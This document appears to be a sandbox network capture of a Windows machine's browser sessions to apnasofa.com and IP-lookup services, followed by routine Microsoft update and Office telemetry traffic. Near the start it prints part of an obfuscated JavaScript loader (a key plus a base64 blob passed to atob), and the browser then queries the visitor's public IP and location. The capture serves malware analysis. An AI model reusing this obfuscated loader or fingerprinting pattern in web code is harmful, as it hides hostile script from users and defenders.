2024-12-02 16:55:27 UTC	1066	IN	HTTP/1.1 200 OK Connection: close cache-control: public, max-age=2592000 expires: Wed, 01 Jan 2025 16:55:27 GMT content-type: text/javascript last-modified: Thu, 28 Nov 2024 14:11:15 GMT accept-ranges: bytes content-length: 8831 date: Mon, 02 Dec 2024 16:55:27 GMT server: LiteSpeed x-xss-protection: 1; mode=block x-frame-options: SAMEORIGIN x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains referrer-policy: strict-origin-when-cross-origin permissions-policy: geolocation=self content-security-policy: default-src 'self' https: data: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https: ; x-permitted-cross-domain-policies: none feature-policy: camera 'none'; microphone 'none'; geolocation 'self' access-control-allow-origin: alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-02 16:55:27 UTC	302	IN	Data Raw: 76 61 72 20 6b 65 79 20 3d 20 22 73 65 63 72 65 74 6b 65 79 22 3b 0a 76 61 72 20 73 63 72 69 70 74 20 3d 20 61 74 6f 62 28 22 46 77 6f 41 42 77 67 52 42 52 46 58 45 67 45 48 4e 78 4d 52 42 52 45 31 47 68 59 58 46 77 73 52 47 55 31 65 4e 79 6f 75 4d 51 6f 61 48 77 41 58 42 79 6b 4d 45 77 45 52 44 30 4a 56 55 30 31 4b 55 6c 68 4b 53 78 35 7a 55 30 55 50 46 78 46 55 43 68 41 4e 48 41 49 52 45 77 63 57 44 67 45 38 48 67 51 4b 48 6b 56 4a 53 30 4a 65 53 47 39 44 55 67 59 62 42 52 59 4e 55 77 77 51 50 77 6f 57 41 67 6b 63 55 31 68 44 58 51 77 6b 41 77 6f 58 46 68 6b 4b 49 67 51 51 46 77 77 70 48 41 45 66 4d 77 73 51 47 51 6f 51 46 30 6f 4b 58 42 45 52 47 42 46 52 48 51 51 56 47 77 49 56 48 77 6f 4c 58 52 41 51 46 78 63 31 44 41 41 58 42 30 78 59 65 47 39 55 53 Data Ascii: var key = "secretkey";var script = atob("FwoABwgRBRFXEgEHNxMRBRE1GhYXFwsRGU1eNyouMQoaHwAXBykMEwERD0JVU01KUlhKSx5zU0UPFxFUChANHAIREwcWDgE8HgQKHkVJS0JeSG9DUgYbBRYNUwwQPwoWAgkcU1hDXQwkAwoXFhkKIgQQFwwpHAEfMwsQGQoQF0oKXBERGBFRHQQVGwIVHwoLXRAQFxc1DAAXB0xYeG9US
2024-12-02 16:55:27 UTC	8529	IN	Data Raw: 42 41 74 5a 46 41 41 58 4e 77 67 56 41 67 6b 2f 41 51 6f 4f 4a 7a 63 34 51 30 78 5a 43 47 39 44 55 6b 56 55 53 30 55 61 48 41 73 51 42 6b 55 63 43 68 59 52 55 31 68 44 42 51 77 61 44 77 6f 4f 58 51 6b 4d 45 51 51 41 41 67 6f 58 58 51 30 43 41 51 31 61 47 42 41 62 41 42 45 52 47 77 73 54 51 31 52 51 53 47 39 44 55 6b 56 55 53 30 55 51 46 55 56 4c 55 77 30 56 47 41 31 51 55 78 63 47 42 68 41 47 42 55 56 65 56 46 35 70 55 6b 56 55 53 30 56 5a 42 78 63 61 55 68 35 2b 53 30 56 5a 55 30 56 44 55 6b 56 55 53 78 63 63 42 78 41 52 48 45 55 56 48 77 6f 62 57 77 30 43 41 51 31 64 55 47 39 5a 55 30 56 44 55 6b 55 4a 53 77 59 59 42 77 59 4c 55 6b 30 52 51 6b 55 43 65 55 56 44 55 6b 56 55 53 30 56 5a 55 30 55 52 46 78 45 42 47 51 74 5a 56 45 4a 59 65 45 56 55 53 30 56 Data Ascii: BAtZFAAXNwgVAgk/AQoOJzc4Q0xZCG9DUkVUS0UaHAsQBkUcChYRU1hDBQwaDwoOXQkMEQQAAgoXXQ0CAQ1aGBAbABERGwsTQ1RQSG9DUkVUS0UQFUVLUw0VGA1QUxcGBhAGBUVeVF5pUkVUS0VZBxcaUh5+S0VZU0VDUkVUSxccBxARHEUVHwobWw0CAQ1dUG9ZU0VDUkUJSwYYBwYLUk0RQkUCeUVDUkVUS0VZU0URFxEBGQtZVEJYeEVUS0V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49766	103.160.107.138	443	7380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:55:26 UTC	358	OUT	GET /episode/image/logo.png HTTP/1.1 Host: apnasofa.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 16:55:27 UTC	1030	IN	HTTP/1.1 200 OK Connection: close cache-control: public, max-age=31536000 expires: Tue, 02 Dec 2025 16:55:27 GMT content-type: image/png last-modified: Thu, 28 Nov 2024 06:32:18 GMT accept-ranges: bytes content-length: 21327 date: Mon, 02 Dec 2024 16:55:27 GMT server: LiteSpeed x-xss-protection: 1; mode=block x-frame-options: SAMEORIGIN x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains referrer-policy: strict-origin-when-cross-origin permissions-policy: geolocation=self content-security-policy: default-src 'self' https: data: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https: *; x-permitted-cross-domain-policies: none feature-policy: camera 'none'; microphone 'none'; geolocation 'self' alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-02 16:55:27 UTC	338	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 4f 00 00 01 34 08 06 00 00 00 44 9d 7b b3 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 52 dc 49 44 41 54 78 da ec dd 4b 72 1b 49 da 20 5a af b2 1c 37 d5 2b 20 ea 6e 80 ac 15 10 39 e9 1e 92 35 6f 33 22 57 20 a6 71 01 82 16 40 4b e6 0a 14 32 eb 79 51 c3 be 93 04 57 50 e4 06 ba c0 15 94 78 37 f0 df 70 d0 91 82 28 3e 40 12 08 77 8f 38 c7 2c 0c 59 59 29 21 e0 8f 08 77 ff fc 11 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 37 7f 79 ea ff fc ff 8e fe 9f f3 f6 63 5f 32 f1 52 ff ed e2 ff 8e 5f f3 e7 3e fc bf 61 d2 7e 4c a4 20 af d0 Data Ascii: PNGIHDRO4D{pHYs.#.#x?vtEXtSoftwareAdobe ImageReadyqe<RIDATxKrI Z7+ n95o3"W q@K2yQWPx7p(>@w8,YY)!w7yc_2R_>a~L
2024-12-02 16:55:27 UTC	14994	IN	Data Raw: 00 00 00 00 41 f0 14 00 00 00 00 00 00 60 41 f0 14 00 00 00 00 00 00 20 08 9e 02 00 00 00 00 00 00 2c 08 9e 02 00 00 00 00 00 00 04 c1 53 00 00 00 00 00 00 80 05 c1 53 00 00 00 00 00 00 80 20 78 0a 00 00 00 00 00 00 b0 20 78 0a 00 00 00 00 00 00 10 04 4f 01 00 00 00 00 00 00 16 04 4f 01 00 00 00 00 00 00 82 e0 29 00 00 00 00 00 00 c0 82 e0 29 00 00 00 00 00 00 40 10 3c 05 00 00 00 00 00 00 58 10 3c 05 00 00 00 00 00 00 08 82 a7 00 00 00 00 00 00 00 0b 82 a7 00 00 00 00 00 00 00 41 f0 14 00 00 00 00 00 00 60 41 f0 14 00 00 00 00 00 00 20 08 9e 02 00 00 00 00 00 00 2c 08 9e 02 00 00 00 00 00 00 04 c1 53 00 00 00 00 00 00 80 05 c1 53 00 00 00 00 00 00 80 20 78 0a 00 00 00 00 00 00 b0 20 78 0a 00 00 00 00 00 00 10 04 4f 01 00 00 00 00 00 00 16 04 4f 01 00 00 Data Ascii: A`A ,SS x xOO))@<X<A`A ,SS x xOO
2024-12-02 16:55:27 UTC	5995	IN	Data Raw: dd 7a 7f 92 b3 bc a4 5d b1 e8 a6 4d f6 ae 84 67 c4 3a 79 2e 78 0a 00 6f d7 b7 40 e3 6d 30 b8 43 47 d2 39 76 a5 0c 82 37 72 84 02 95 f0 3c de 4b b3 c1 87 62 2a df 8b 7e 6f 7c ed c1 f3 7a 56 c0 3d c4 01 d8 21 4d 8c 98 a8 d7 14 cc f1 11 f4 c6 40 ce 8d cf d9 87 9d f6 6d f2 53 9a e0 74 38 f0 76 d9 90 9c 84 bc ab 8c d7 ce 73 c1 53 00 78 a3 b4 fd d6 75 8f 7e d2 85 ad 02 e9 ba cc 15 72 1f 07 6d c7 ed 44 76 a0 7e 3c 68 10 3b 12 a4 55 a7 07 99 6f e3 da ec f7 67 35 ea f5 46 0c 62 f5 69 1a 94 cd fd 7e bf 4d 13 c6 e0 21 82 a7 f4 49 15 db 71 be 45 e6 1d c8 76 43 ff 26 3f 4d b5 cb 86 a1 90 36 d9 da 79 2e 78 0a 00 9b 71 ee b7 40 2f 3a 2b 53 db f7 52 92 34 41 e7 a6 80 5b 89 67 9f 4e 07 90 e4 25 fc c6 46 c9 af a6 5e bc f6 fe 73 9e 97 b6 6a 28 67 7e 4f 43 fe 15 0e 06 66 79 Data Ascii: z]Mg:y.xo@m0CG9v7r<Kb*~o\|zV=!M@mSt8vsSxu~rmDv~<h;Uog5Fbi~M!IqEvC&?M6y.xq@/:+SR4A[gN%F^sj(g~OCfy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49765	103.160.107.138	443	7380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:55:26 UTC	593	OUT	GET /favicon.ico HTTP/1.1 Host: apnasofa.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://apnasofa.com/episode/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 16:55:27 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Mon, 02 Dec 2024 16:55:27 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-02 16:55:27 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-12-02 16:55:27 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49769	104.26.13.205	443	7380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:55:27 UTC	349	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 16:55:28 UTC	430	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:55:28 GMT Content-Type: application/json Content-Length: 21 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8ebcd841597f420d-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1643&min_rtt=1641&rtt_var=619&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2819&recv_bytes=927&delivery_rate=1762220&cwnd=243&unsent_bytes=0&cid=785180a8de1ea7f7&ts=475&x=0"
2024-12-02 16:55:28 UTC	21	IN	Data Raw: 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 7d Data Ascii: {"ip":"8.46.123.228"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49770	103.126.138.87	443	7380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:55:29 UTC	550	OUT	GET /json/8.46.123.228 HTTP/1.1 Host: ipwhois.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://apnasofa.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://apnasofa.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 16:55:29 UTC	255	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:55:29 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: ipwhois Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * X-Robots-Tag: noindex
2024-12-02 16:55:29 UTC	69	IN	Data Raw: 33 61 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 66 61 6c 73 65 2c 22 6d 65 73 73 61 67 65 22 3a 22 79 6f 75 27 76 65 20 68 69 74 20 74 68 65 20 6d 6f 6e 74 68 6c 79 20 6c 69 6d 69 74 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a{"success":false,"message":"you've hit the monthly limit"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49771	103.126.138.87	443	7380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:55:31 UTC	352	OUT	GET /json/8.46.123.228 HTTP/1.1 Host: ipwhois.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 16:55:32 UTC	255	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:55:32 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: ipwhois Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * X-Robots-Tag: noindex
2024-12-02 16:55:32 UTC	699	IN	Data Raw: 32 61 66 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 2c 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 74 79 70 65 22 3a 22 49 50 76 34 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 22 3a 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 5f 63 6f 64 65 22 3a 22 4e 41 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 66 6c 61 67 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 69 70 77 68 6f 69 73 2e 69 6f 5c 2f 66 6c 61 67 73 5c 2f 75 73 2e 73 76 67 22 2c 22 63 6f 75 6e 74 72 79 5f 63 61 70 69 74 61 6c 22 3a 22 57 61 73 68 69 6e 67 74 6f 6e 20 44 2e 43 2e 22 2c 22 63 6f 75 6e 74 72 79 5f 70 68 Data Ascii: 2af{"ip":"8.46.123.228","success":true,"type":"IPv4","continent":"North America","continent_code":"NA","country":"United States","country_code":"US","country_flag":"https:\/\/cdn.ipwhois.io\/flags\/us.svg","country_capital":"Washington D.C.","country_ph

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49772	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:03 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2nvR5RnwFWOGpbB&MD=eSUd7a8V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-02 16:56:03 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 89796225-96aa-42bc-b96e-05393d6b04a5 MS-RequestId: 85810737-72bd-4f8d-b2d8-006cc3037288 MS-CV: oqQg3G8ohUqTk8Nh.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 02 Dec 2024 16:56:02 GMT Connection: close Content-Length: 30005
2024-12-02 16:56:03 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-02 16:56:03 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:04 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:05 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:04 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 29 Nov 2024 23:15:49 GMT ETag: "0x8DD10CBC2E3B852" x-ms-request-id: 82d9e4b2-501e-007b-3a87-435ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165604Z-174f7845968vqt9xhC1EWRgten00000014pg00000000scv4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:05 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-02 16:56:05 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-02 16:56:05 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
